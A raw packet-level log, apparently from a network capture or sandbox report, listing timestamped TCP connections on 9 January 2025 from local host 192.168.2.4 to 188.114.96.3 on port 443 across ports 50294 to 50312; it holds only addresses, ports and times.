Jan 9, 2025 08:31:18.975990057 CET	50294	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.976027012 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:18.976089001 CET	50294	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.976419926 CET	50294	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:18.976430893 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.439889908 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.441653013 CET	50294	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:19.441673040 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.564099073 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.564167023 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.564204931 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.564210892 CET	50294	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:19.564230919 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.564270020 CET	50294	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:19.564274073 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.564282894 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.564337969 CET	50294	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:19.564342976 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.564390898 CET	443	50294	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.564439058 CET	50294	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:19.571465969 CET	50294	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:19.578010082 CET	50295	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:19.578062057 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:19.578125954 CET	50295	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:19.578614950 CET	50295	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:19.578630924 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.053284883 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.071014881 CET	50295	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.071042061 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.175437927 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.175502062 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.175535917 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.175566912 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.175566912 CET	50295	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.175600052 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.175856113 CET	50295	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.175865889 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.176023960 CET	50295	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.177086115 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.177150965 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.177529097 CET	50295	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.177539110 CET	443	50295	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.177572966 CET	50295	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.177691936 CET	50295	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.180386066 CET	50296	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.180449009 CET	443	50296	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.181114912 CET	50296	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.181421995 CET	50296	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.181436062 CET	443	50296	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.652196884 CET	443	50296	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.657504082 CET	50296	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.657531977 CET	443	50296	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.798154116 CET	443	50296	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.798217058 CET	443	50296	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.798253059 CET	443	50296	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.798289061 CET	443	50296	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.798319101 CET	50296	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.798336029 CET	443	50296	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.798363924 CET	50296	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.798433065 CET	443	50296	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.798643112 CET	50296	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.799400091 CET	50296	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.800543070 CET	50297	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.800595045 CET	443	50297	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:20.801074982 CET	50297	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.801362038 CET	50297	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:20.801381111 CET	443	50297	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.255423069 CET	443	50297	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.258105993 CET	50297	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.258121014 CET	443	50297	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.405215025 CET	443	50297	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.405282974 CET	443	50297	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.405324936 CET	443	50297	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.405334949 CET	50297	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.405352116 CET	443	50297	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.405390024 CET	50297	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.405419111 CET	443	50297	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.405522108 CET	443	50297	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.405560970 CET	50297	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.406426907 CET	50297	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.408026934 CET	50298	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.408092976 CET	443	50298	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.408158064 CET	50298	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.408513069 CET	50298	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.408520937 CET	443	50298	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.862596035 CET	443	50298	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.864481926 CET	50298	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.864496946 CET	443	50298	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.983300924 CET	443	50298	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.983364105 CET	443	50298	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.983397961 CET	443	50298	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.983429909 CET	443	50298	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.983513117 CET	443	50298	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.983540058 CET	50298	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.985928059 CET	50298	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.985928059 CET	50298	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.989511967 CET	50299	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.989551067 CET	443	50299	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:21.993824959 CET	50299	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.993824959 CET	50299	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:21.993856907 CET	443	50299	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:22.459120035 CET	443	50299	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:22.518785000 CET	50299	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:22.518811941 CET	443	50299	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:22.626226902 CET	443	50299	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:22.626280069 CET	443	50299	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:22.626317978 CET	443	50299	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:22.626347065 CET	443	50299	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:22.626410961 CET	50299	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:22.626410961 CET	50299	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:22.626435041 CET	443	50299	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:22.626450062 CET	443	50299	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:22.626585007 CET	50299	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:22.638353109 CET	50299	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:22.758810043 CET	50300	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:22.758873940 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:22.759038925 CET	50300	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:22.761514902 CET	50300	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:22.761533022 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.268918037 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.272341967 CET	50300	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:23.272377014 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.414442062 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.414484024 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.414518118 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.414525986 CET	50300	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:23.414552927 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.414587975 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.414587975 CET	50300	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:23.414601088 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.414644003 CET	50300	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:23.414650917 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.414683104 CET	443	50300	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.414721012 CET	50300	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:23.415834904 CET	50300	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:23.417226076 CET	50301	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:23.417268991 CET	443	50301	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.417330980 CET	50301	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:23.417608976 CET	50301	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:23.417623997 CET	443	50301	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.880903006 CET	443	50301	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:23.883441925 CET	50301	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:23.883460045 CET	443	50301	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.022200108 CET	443	50301	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.022255898 CET	443	50301	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.022288084 CET	443	50301	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.022319078 CET	443	50301	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.022353888 CET	50301	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.022370100 CET	443	50301	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.022384882 CET	50301	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.022428989 CET	443	50301	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.022546053 CET	50301	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.023586035 CET	50301	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.024394035 CET	50302	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.024446964 CET	443	50302	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.024604082 CET	50302	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.028529882 CET	50302	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.028552055 CET	443	50302	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.507658958 CET	443	50302	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.509438992 CET	50302	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.509480000 CET	443	50302	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.644855976 CET	443	50302	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.644910097 CET	443	50302	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.644937038 CET	443	50302	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.644962072 CET	443	50302	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.644988060 CET	50302	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.645014048 CET	443	50302	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.645035982 CET	50302	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.645077944 CET	443	50302	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.645282030 CET	50302	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.646986961 CET	50302	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.646995068 CET	50303	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.647042990 CET	443	50303	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:24.649643898 CET	50303	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.649848938 CET	50303	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:24.649859905 CET	443	50303	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.137016058 CET	443	50303	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.176820993 CET	50303	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.208949089 CET	50303	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.208971977 CET	443	50303	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.315264940 CET	443	50303	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.315392971 CET	443	50303	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.315419912 CET	443	50303	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.315435886 CET	50303	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.315449953 CET	443	50303	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.315483093 CET	50303	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.315499067 CET	443	50303	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.315655947 CET	443	50303	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.315697908 CET	50303	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.332115889 CET	50303	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.362135887 CET	50304	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.362200022 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.362266064 CET	50304	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.362951040 CET	50304	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.362967014 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.820029020 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.822251081 CET	50304	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.822266102 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.954092979 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.954138994 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.954169035 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.954195976 CET	50304	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.954197884 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.954210997 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.954236984 CET	50304	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.954453945 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.954489946 CET	50304	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.954498053 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.954554081 CET	443	50304	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.954591990 CET	50304	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.955061913 CET	50304	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.956353903 CET	50305	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.956393003 CET	443	50305	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:25.956600904 CET	50305	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.956831932 CET	50305	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:25.956845045 CET	443	50305	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:26.439726114 CET	443	50305	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:26.441535950 CET	50305	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:26.441555977 CET	443	50305	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:26.581480026 CET	443	50305	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:26.581532955 CET	443	50305	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:26.581578970 CET	443	50305	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:26.581590891 CET	443	50305	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:26.581680059 CET	443	50305	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:26.581751108 CET	50305	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:26.585607052 CET	50305	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:26.586894035 CET	50306	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:26.586908102 CET	50305	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:26.586945057 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:26.589603901 CET	50306	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:26.593534946 CET	50306	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:26.593559980 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.051737070 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.053879976 CET	50306	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.053910971 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.173271894 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.173317909 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.173345089 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.173357964 CET	50306	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.173374891 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.173407078 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.173408031 CET	50306	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.173418045 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.173458099 CET	50306	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.173464060 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.173502922 CET	443	50306	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.173542976 CET	50306	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.174542904 CET	50306	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.175731897 CET	50307	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.175772905 CET	443	50307	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.175829887 CET	50307	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.176100969 CET	50307	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.176115036 CET	443	50307	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.632148027 CET	443	50307	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.635199070 CET	50307	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.635212898 CET	443	50307	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.774019003 CET	443	50307	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.774074078 CET	443	50307	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.774104118 CET	443	50307	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.774130106 CET	443	50307	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.774137974 CET	50307	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.774178982 CET	443	50307	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.774194002 CET	50307	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.774247885 CET	443	50307	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.774285078 CET	50307	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.821057081 CET	50307	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.825262070 CET	50308	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.825325012 CET	443	50308	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:27.825395107 CET	50308	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.825656891 CET	50308	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:27.825670004 CET	443	50308	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.288568020 CET	443	50308	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.290242910 CET	50308	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:28.290288925 CET	443	50308	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.412256002 CET	443	50308	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.412305117 CET	443	50308	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.412368059 CET	443	50308	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.412400961 CET	443	50308	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.412432909 CET	50308	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:28.412451982 CET	443	50308	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.412463903 CET	50308	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:28.412509918 CET	443	50308	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.415646076 CET	50308	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:28.416758060 CET	50308	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:28.416762114 CET	50309	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:28.416801929 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.420368910 CET	50309	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:28.423521042 CET	50309	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:28.423538923 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.899657011 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:28.901282072 CET	50309	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:28.901300907 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.020328999 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.020382881 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.020414114 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.020426035 CET	50309	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.020445108 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.020478964 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.020482063 CET	50309	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.020489931 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.020517111 CET	50309	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.020523071 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.020586967 CET	443	50309	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.020628929 CET	50309	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.021641970 CET	50309	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.022932053 CET	50310	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.022988081 CET	443	50310	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.023052931 CET	50310	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.023400068 CET	50310	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.023411989 CET	443	50310	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.052259922 CET	50310	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.054459095 CET	50311	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.054492950 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.054578066 CET	50311	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.054850101 CET	50311	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.054863930 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.099332094 CET	443	50310	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.484838963 CET	443	50310	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.484920025 CET	50310	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.521965027 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.522028923 CET	50311	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.524714947 CET	50311	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.524734974 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.525068045 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.526655912 CET	50311	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.567337036 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.644615889 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.644679070 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.644710064 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.644736052 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.644826889 CET	50311	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.644848108 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.644860983 CET	443	50311	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.644866943 CET	50311	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.644964933 CET	50311	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.645890951 CET	50311	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.646900892 CET	50312	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.646953106 CET	443	50312	188.114.96.3	192.168.2.4
Jan 9, 2025 08:31:29.649563074 CET	50312	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:31:29.649811983 CET	50312	443	192.168.2.4	188.114.96.3
